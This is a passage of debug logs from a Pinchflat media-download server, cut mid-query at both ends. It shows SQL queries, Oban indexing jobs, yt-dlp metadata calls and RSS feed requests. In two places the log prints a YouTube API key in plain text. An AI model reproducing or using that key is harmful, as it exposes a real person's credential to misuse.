m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [41] 17:30:12.851 [debug] QUERY OK source="tasks" db=0.1ms idle=203.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268489, 41, ~U[2026-10-09 22:30:12Z], ~U[2026-10-09 22:30:12Z]] 17:30:12.851 [info] {"args":{"id":41},"id":5268449,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":205032,"event":"job:stop","queue_time":433427,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:30:16.401 [info] {"source":"oban","duration":10038,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":9} 17:30:46.412 [info] {"source":"oban","duration":9841,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:31:00.457 [info] {"source":"oban","duration":143,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:31:16.423 [info] {"source":"oban","duration":9821,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:31:18.713 [info] {"args":{"id":37},"id":5268450,"meta":{},"system_time":1791585078713769170,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:31:18.714 [debug] QUERY OK source="sources" db=0.1ms idle=367.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [37] 17:31:18.714 [debug] QUERY OK source="settings" db=0.5ms idle=367.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:31:18.714 [debug] QUERY OK source="media_profiles" db=0.1ms idle=367.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:31:18.715 [debug] QUERY OK source="settings" db=0.6ms idle=7.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:31:18.715 [debug] Fetching recent media IDs from YouTube API for playlist: UUcZqcdpiaDR3wbvS2Yu9xfw 17:31:18.715 [debug] QUERY OK source="settings" db=0.0ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:31:18.715 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:31:18.874 [debug] QUERY OK source="media_items" db=0.5ms idle=160.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [37, "3BLxx5GpPkQ", "xXW35OmG_2s", "gMMPAjnrsg8", "6k3MCvZcNf0", "kvfyuReITgE", "-T_TIqokEBM", "17qdDkP14Ao", "FPHOLeDqI9o", "-s86EG5s4to", "7ymHZ4ad1zg", "IgrA6UWGE_w", "tA9FzgkzauM", "aqMJUkmPHUw", "cSOvVHmIwUE", "dChU-mIqI0s", "Oka7yNGFBOA", "fH_aZFRA5nQ", "J8NEUFlSRhM", "znzyBp8ruMM", "sRkxPi6IOY8", "MYX7D4TPO-I", "7oIIzbP9mLA", "zuBnPJLV8Zs", "96THecfcRbE", "9fkqORqi1wA", "bCkQhwnTpRI", "ZHt7xfhPsPg", "ZYGsrtIqxLA", "u6hjDgVUeTM", "X9cKnBwcpPE", "A0PL0Q5_AhQ", "7HAodxxPnvg", "LOc26tUJziM", "GTsYWE1QSbA", "tE4_YArfkNM", "PJgHERObbLA", "8T-uZpYUv-s", "n13CZ1XVNJI", "7O_jgUrMUs4", "E-79e3z4q1o", "xCiLvge4XXQ", "EB-HgHFEqeg", "wbbAhhj23Bo", "HjKVJeWks5o", "0m183T8j9wc", "3bUgF8AAGRU", "HaSaDehz2lc", "1n9vqO6R734", "7L-_Jzfzj-Y", ...] 17:31:18.875 [debug] QUERY OK source="settings" db=0.0ms idle=160.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:31:18.875 [debug] QUERY OK source="settings" db=0.0ms idle=160.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:31:18.875 [debug] Running yt-dlp command for action: get_media_attributes 17:31:18.875 [debug] QUERY OK source="settings" db=0.0ms idle=160.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:31:18.876 [debug] QUERY OK source="settings" db=0.0ms idle=160.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:31:18.876 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:31:18.876 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=kvfyuReITgE --simulate --skip-download --output /downloads/NinjaOne/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/a4/92/a492052f453c8e2a3ba2711cc3cc16fbd894e3936101765b618ac1561ebd76f8.json --sleep-requests 90 --sleep-interval 82 --sleep-subtitles 61 --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 17:31:46.434 [info] {"source":"oban","duration":10311,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":1} 17:32:00.457 [info] {"source":"oban","duration":169,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:32:16.444 [info] {"source":"oban","duration":9922,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:32:46.455 [info] {"source":"oban","duration":10156,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":1} 17:32:51.385 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=kvfyuReITgE --simulate --skip-download --output /downloads/NinjaOne/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/a4/92/a492052f453c8e2a3ba2711cc3cc16fbd894e3936101765b618ac1561ebd76f8.json --sleep-requests 90 --sleep-interval 82 --sleep-subtitles 61 --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] kvfyuReITgE: This live event will begin in 12 days. 17:32:51.385 [error] Error creating media item 'kvfyuReITgE' from URL: {:error, "ERROR: [youtube] kvfyuReITgE: This live event will begin in 12 days.\n", 1} 17:32:51.387 [debug] QUERY OK source="media_items" db=1.8ms idle=1039.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [37] 17:32:51.388 [debug] QUERY OK source="tasks" db=0.1ms idle=1041.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268490, 37, ~U[2026-10-09 22:32:51Z], ~U[2026-10-09 22:32:51Z]] 17:32:51.388 [info] {"args":{"id":37},"id":5268450,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":92674907,"event":"job:stop","queue_time":899987,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:33:00.458 [info] {"source":"oban","duration":140,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:33:16.466 [info] {"source":"oban","duration":10054,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:33:46.477 [info] {"source":"oban","duration":9986,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":1} 17:34:00.460 [info] {"source":"oban","duration":144,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:34:16.488 [info] {"source":"oban","duration":9828,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:34:17.420 [info] GET /sources/5ed78056-1c3b-40d4-b05a-74597adc9f60/feed.xml 17:34:17.420 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "5ed78056-1c3b-40d4-b05a-74597adc9f60"} Pipelines: [:maybe_basic_auth] 17:34:17.421 [debug] QUERY OK source="sources" db=0.1ms idle=1074.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["5ed78056-1c3b-40d4-b05a-74597adc9f60"] 17:34:17.421 [debug] QUERY OK source="media_items" db=0.3ms idle=1074.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [44, 2000] 17:34:17.422 [debug] QUERY OK source="source_metadata" db=0.0ms idle=1075.6ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [44] 17:34:17.422 [debug] QUERY OK source="media_metadata" db=0.0ms idle=934.0ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1577511] 17:34:17.422 [info] Sent 200 in 2ms 17:34:46.499 [info] {"source":"oban","duration":9619,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:34:54.028 [info] GET /sources/66a9988d-2485-4058-98cc-a70582045a5a/feed.xml 17:34:54.028 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "66a9988d-2485-4058-98cc-a70582045a5a"} Pipelines: [:maybe_basic_auth] 17:34:54.028 [debug] QUERY OK source="sources" db=0.1ms idle=1104.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["66a9988d-2485-4058-98cc-a70582045a5a"] 17:34:54.035 [debug] QUERY OK source="media_items" db=6.9ms idle=682.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [11, 2000] 17:34:54.075 [debug] QUERY OK source="source_metadata" db=0.1ms idle=728.6ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [11] 17:34:54.075 [debug] QUERY OK source="media_metadata" db=0.0ms idle=728.8ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1577892] 17:34:54.079 [info] Sent 200 in 51ms 17:35:00.461 [info] {"source":"oban","duration":143,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:35:16.507 [info] {"source":"oban","duration":7293,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":1} 17:35:21.961 [info] {"args":{"id":13},"id":5268451,"meta":{},"system_time":1791585321961281224,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:35:21.961 [debug] QUERY OK source="sources" db=0.1ms idle=1007.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [13] 17:35:21.962 [debug] QUERY OK source="settings" db=0.8ms idle=614.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:35:21.962 [debug] QUERY OK source="media_profiles" db=0.1ms idle=615.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:35:21.962 [debug] QUERY OK source="settings" db=0.1ms idle=7.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:35:21.962 [debug] Fetching recent media IDs from YouTube API for playlist: UUlRwC5Vc8HrB6vGx6Ti-lhA 17:35:21.963 [debug] QUERY OK source="settings" db=0.0ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:35:21.963 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:35:22.190 [debug] QUERY OK source="media_items" db=0.7ms idle=228.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [13, "fHPCS8j3cRM", "oEruzTKteRE", "AtaG0PQYeVQ", "ebGLFVzvdfM", "5NG4hycq8n0", "aJDWyp19j9w", "WnBb3DLlVPw", "RYKpKMFIdGQ", "Hzz_d9Y44ZE", "fDvxq7IF1W4", "0xLzDF7PZW8", "EYoOiVsHJTw", "IrZCYj2ZHj8", "3GUQdrpduo0", "Y2qSaD1v4cQ", "P3Y4d2aHnNE", "XgzL05Gojfw", "0Kp3bjm55xw", "upLSYyprib8", "ZA_EifQu6is", "_hAuKtoRxJI", "HQtwULiTEmo", "pmKL3pgPQhY", "rW1cg3hDdc4", "wjny4u5THpU", "wjDaUFdKjR4", "itAMIIBnZ-8", "yO5fJ8z66Z8", "C4cNnVK412U", "eUywI8YGy0Y", "7hdJQkn8rtA", "ed8QTKtLxKs", "ZaeBfVc1NZQ", "hQFkbg7he-4", "ChtJ8gUuQWY", "1WuJtcgExa8", "RpoXFk-ixZc", "NCkyQuKjpVc", "EZbsIT2Uh5k", "NeopkvAP-ag", "m5s6xerRqVY", "UOIFxgid0uk", "LUTx3uwuQFE", "Xx_ylYKD6Bo", "VDV1R1j1n5I", "5E4nMfxjA3s", "gpDqUyXKqTA", "BRdq2ExLJns", "HfFAiCMLJ14", ...] 17:35:22.191 [debug] QUERY OK source="media_items" db=0.4ms idle=228.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [13] 17:35:22.192 [debug] QUERY OK source="tasks" db=0.1ms idle=229.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268491, 13, ~U[2026-10-09 22:35:22Z], ~U[2026-10-09 22:35:22Z]] 17:35:22.192 [info] {"args":{"id":13},"id":5268451,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":231076,"event":"job:stop","queue_time":444618,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:35:22.962 [info] {"args":{"id":9},"id":5268452,"meta":{},"system_time":1791585322962339897,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:35:22.962 [info] {"args":{"id":17},"id":5268453,"meta":{},"system_time":1791585322962372967,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:35:22.962 [debug] QUERY OK source="sources" db=0.2ms idle=770.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [9] 17:35:22.962 [debug] QUERY OK source="sources" db=0.2ms idle=770.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [17] 17:35:22.963 [debug] QUERY OK source="settings" db=0.1ms idle=764.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", 